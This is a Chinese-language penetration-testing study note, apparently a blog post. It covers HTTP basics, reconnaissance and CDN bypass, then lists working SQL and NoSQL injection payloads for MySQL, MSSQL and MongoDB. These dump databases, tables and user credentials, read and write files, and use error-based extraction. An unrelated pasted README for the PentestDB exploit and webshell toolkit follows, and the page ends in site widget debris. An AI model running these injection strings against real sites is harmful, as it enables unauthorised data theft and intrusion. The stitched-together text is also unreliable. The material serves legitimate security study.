web 渗透测试

1.基础入门

  1. 请求数据包Request
    1. 请求行,请求头,请求体
  2. 响应数据包Response
    1. 状态行,响应头标,响应数据
    2. 响应码:1收到 2成功 3重定向 4客户端错误 5服务器错误
  3. burpsuite抓包更改信息:墨者学院练习
    1. php修改ip来源:请求头添加 x-forwarded-for:172.16.1.1
    2. 微信公众号信息伪造:请求头修改user-agent为微信特有api Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.11(0x17000b21) NetType/4G
  4. Vulhub
    1. 启动docker:service start docker
    2. 启动环境:进入相应目录(kali,cd home/jang/xiazai/vulhub/xxx),docker-compose up -d
    3. 关闭:docker-compose down
  5. image-20210407203956727
  6. ASP,PHP等源码下的针对漏洞
    1. 找网站cms,去云溪等cms指纹识别网站;或直接找f12找特殊名字文件复制到百度查询相关cms
    2. 找cms的相关漏洞—漏洞利用
    3. 找不到漏洞—查源码,进入默认数据库
  7. 源码应用分类下的针对漏洞
    1. 功能越多,漏洞越多,针对业务逻辑找漏洞
  8. 简要目标从识别到源码获取
  9. image-20210408122945373
  10. 识别操作系统常见方法:
    1. ping ttl包值
    2. 域名换大小写
    3. nmap -o
  11. 数据库层面
    1. asp+access
    2. php+mysql 3306
    3. aspx+mssql 1433
    4. jsp+mssql,orcle 1521
    5. python+mongodb 27017
  12. 加密编码
    1. url :前面有%
    2. MD5:32位
    3. base64:最后有=,若解密出来是乱码,则可能是aes加密
    4. unescape:前面有%加四位数字
    5. 加密形式:
      1. 直接加密,带salt,带密码,带偏移,带位数,带模式,带干扰
    6. 解密形式:枚举,自定义逆行,可逆向
    7. cmd5.com
    8. sql注入方式要按照网站的加密方式来写

2.信息收集

2.1 CDN绕过
  1. CDN作用:缓存网页,针对不同运行商采用不同ip地址
  2. 为什么绕过:存在同步时间差,扫描到的不是真正的网页
  3. CDN判断存在:多地点ping网址,响应ip不同则存在
  4. 常见绕过技术
    1. 子域名查询 get-site-ip.com ping.chinz.com x.threatbook.cn asm.ca.com
    2. 邮件服务查询
    3. 国外地址请求
    4. 遗留文件,扫描全网
    5. 黑暗引擎搜索特定文件:zoomeye,fofa,shodan(hash文件值搜索真实ip地址)
    6. dns历史记录
  5. 绕过后改本地host为真实ip
2.2 架构、搭建WAF
  1. 目录型站点分析:同一www目录下两个文件夹放了两套系统,通过目录切换
  2. 端口型站点分析:同一www目录下两个文件夹放了两套系统,通过端口切换
  3. 子域名站点分析:子域名两套CMS,两个ip
  4. 类似域名站点分析:大公司或非法网站常用
  5. 旁注(同服务器不同站点),c段站点(同网段不同服务器不同站点)分析:旁注查询百度
  6. 一体化特征搭建:F12写的软件特别全面,一般都是一体化软件搭建
  7. WAF(web application firefall)查询
    1. waf00f:github.com/EnableSecurity/wafw00f
2.3 APP及其他财产
  1. 涉及WEB—转换成web攻击
    1. APK一键反编译
    2. 模拟器 利用burp历史抓URL
  2. 非web协议(区分测试方法)—尝试提取,反编译逆向
2.4 资产拓展
  1. 资产信息(侧面): 以上平台信息/whois备案/github等监控
  2. 第三方应用(从这些入手): 数据库应用/各种管理平台/各种第三方应用
  3. 各种服务接口(发现更多未知接口尝试): 存储服务/支付服务/内部服务…
  4. 微信公众号(发现更多未知应用)
  5. 内部群内部应用等(社工或发现): QQ或微信群/工作群/其他通讯群聊
2.5 练习网站:
  1. butian.net :Aa123456
  2. xianzhi.aliyun.com
xmind.png

​ 第三方接口

https://crt.sh 查询证书

https://dnsdb.io 查dns记录

htps:/ools ipip.net/cdn.php

https://github.com/bit4woo/teemo

https://securitytrails.com/

opengps查询ip地址


3.WEB漏洞

数据库:
ACESS:表、列、数据,无库与集合表,只能纯猜
	https://blog.csdn.net/u014029795/article/details/91150847   //偏移注入
MongoDB:键值对形式查询,区分大小写  NoSQLAttack
	?id=1'});return ({title:1,content:'2 	//回显
	?id=1'});return ({title:tojson(db),content:'1	//爆库
	?id=1'});return ({title:tojson(db.getCollectionNames()),content:'1	//爆表
	?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'//爆字段,0就是第一个数据
SQL:
	and exists(select * from sysobjects//判断数据库类型
	and substring((select @@version),22,4)='2008'//判断数据库版本
	and 1=(select quotename(name)from master..sysdatabases FOR XML PATH(''))--//获取数据库
	and db_name()>0
	and 1=(select db_name())--//获取当前数据库
	and 1=(select quotename(name)from xx_db..sysobject where xtype='U' FOR XML PATH(''))--//获取当前数据库的表
	and 1=(select quotename(name) from xx_db..syscolumns where id=(select id from xx_db where name='xx_table') FOR XML PATH(''))--//获取表的列名
Oracle:网上找相关代码
PostgreSQL: id=-1 union all select null,null,[query]
3.1 SQL注入
  1. 数据库类型:MYSQL
    1. 发现数据库有对应关系

    2. ?id=1 order by 正确与错误临界点; //判断注入,猜列名数量(字段数)

    3. ?id=-1 union select 1,2,3; //报错显示

    4. 信息收集

      1. 数据库版本:version()

      2. 数据库名字:database()

      3. 数据库用户:user()

      4. 操作系统:@@version_compile_os

      5. 在mysql5.0以上版本中,mysql存在一一个自带数据库名为information_ schema, 它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

        1. information_schema.tables:记录所有表名信息的表
        2. information_schema.columns:记录所有列名信息的表
        3. table_schema:数据库名
        4. table_name:表名
        5. column_name:列名
        
      6. ?id=-1 union select 1,database(),version(), //替换2,3

      7. ?id=-1 union select 1,group_concat(schema_name),2 from information_schemata

      8. ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘上面查的数据库名字’ //替换2,不换3 查数据库下所有表名信息

      9. ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘上面查的表名字’ //替换2,不换3 查上诉表名下所有列名信息

      10. ?id=-1 union select 1,group_concat(username),group_concat(password) from security.users //显示的数字替换成自己想要的列数据

      11. ?id=-1 union select 1,2,group_concat(concat_ws(A,‘-’,B)) from security.users //拼接AB字符串爆库

  2. 高权限注入及低权限注入
    1. 跨库查询及应用思路:information_schema表特征,记录库名,表名,列名对应表
    2. 获取所有数据名:?id=-1 union select 1,group_concat(schem_name),3 from information_schema.schemata
    3. 获取指定xx_schema数据库名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘xx_schema’
    4. 获取指定xx_schema库下xx_table表的名信息:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘xx_schema’ and table_schema=‘xx_table’
    5. 获取指定数据:?id=-1 union select 1,group_concat(user),password from xx_schema.xx_table
    6. 低版本:字典暴力
  3. 文件读写操作
    1. load_file():select loadfile(‘c:/xx.txt’)
    2. into outfile 或 into dumpinfo参数:select x into outfile ‘d:/xx.txt’
    3. 路径获取方法:报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
    4. 魔术引号:编码或宽字节注入
    5. 防注入:
      1. 自带:魔术引号
      2. 内置函数:is_int
      3. 自定义关键字:select
      4. WAF
  4. 提交方法:POST:GET:REQUEST:COOKIE:HTTP头:
  5. 数据类型:搜索型:字符型:数字型:
  6. 查询方式
    1. select: select * from news where id=$id

    2. insert: insert into news(id,url,text) values(2,‘x’,‘$t’) //过滤单引号和括号

      username=x’ or (select 1 from (select count(*),concat((select(select(selectconcat(0x7e,database(),0x7e))) from information_ schema.tables limit 0,1) ,**floor**(rand(0)*2))x from information_ schema.tables group by x)a) or '
      username=x' or **updatexml**(1,concat(0x7e,**(version()**)),0) or '  //后加粗部分替换自己想要的函数
      username=x' or **extractvalue**(1,concat(0x7e,database()))
PentestDB 1 介绍 本项目用于提供渗透测试的辅助工具、资源文件 1.1 辅助工具 提供轻量级的易扩展的工具,可以快速编写exploit、添加漏洞验证/扫描规则、添加指纹规则、爆破规则等;包含以下功能: Exploit系统。易扩展的exploit系统,能够使用API快速编写exploit,能够批量执行exploit 子域名爆破。爆破子域名,使用域传送、DNS爆破、GoogleHacking进行子域名爆破 C段扫描。C段扫描,支持生成html格式输出文件 服务端应用识别。识别CMS类型、Web服务器、操作系统、WEB中间件等 URI敏感资源爆破。爆破WEB敏感文件,整站备份、配置备份、敏感文件等 社工密码字典生成。根据社工信息生成密码爆破字典 Google Hacking。GoogleHacking,生成URL字典 编解码等功能。支持非常丰富的编解码方式,方便做payload编码 1.2 资源文件 各种渗透测试常用的资源文件,包括各种爆破字典、exploit、webshell、攻击payload等 2 安装 从这里下载最新版本,或使用命令 git clone https://github.com/alpha1e0/pentestdb.git clone到本地 PentestDB支持Windows/Linux/MacOS,需使用python 2.6.x 或 2.7.x运行 2.1 解决lxml依赖 项目中的脚本文件依赖于lxml linux系统一般默认安装lxml,如果没有可通过以下方式安装: pip install lxml apt-get install lxml yum install lxml windows可通过以下方式安装lxml: 到这里找到对应系统的安装包,下载到本地 安装安装包,pip install package.whl 2.2 解决nmap依赖 项目中的C段扫描依赖于nmap扫描器 到这里下载nmap相应版本 在windows下需要设置环境变量,让系统能够找到nmap.exe。 3 使用 3.1 常用脚本 项目中的python脚本提供用有用的渗透辅助功能,根目录下的pen.py为脚本入口,另外script目录下也有其他一些脚本。 3.1.1 Exploit系统 pen.py的exploit子命令提供了exploit模块相关操作,exploit模块是一个轻量级的exploit框架,可以编写各种web漏洞的exploit: 搜索exploit信息 增加、删除、修改exploit信息 执行某个exploit 搜索并批量执行exploit exploit保存在项目根目录下的exploit目录下 例如: # 列举、搜索、注册、更新、删除 pen.py exploit -l pen.py exploit -q appName:joomla pen.py exploit --register exploit pen.py exploit --update cms_joomla_3_4_session_object_injection.py pen.py exploit -d "Joomla 1.5~3.4 session对象注入漏洞exploit" pen.py exploit --detail "Joomla 1.5~3.4 session对象注入漏洞exploit" # 执行exploit pen.py exploit -e cms_joomla_3_4_session_object_injection.py -u http://127.0.0.1:1234 --attack pen.py exploit -s appName:joomla -u http://127.0.0.1:1234 --verify pen.py exploit -s appName:joomla -u @url.txt 注:有关exploit模块的详细信息请参考exploit/readme.md 3.1.2 服务端应用识别 pen.py的service子命令提供了服务端应用识别的功能,能够识别服务器信息,包括: 操作系统 web服务器 web中间件 CMS等 例如: pen.py service http://xxx.com # 开启CMS识别加强模式 pen.py service http://xxx.com --cms 3.1.3 社工密码字典生成 pen.py的password子命令提供了根据社工信息生成密码字典的功能,能够设置不同关键字生成密码字典
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值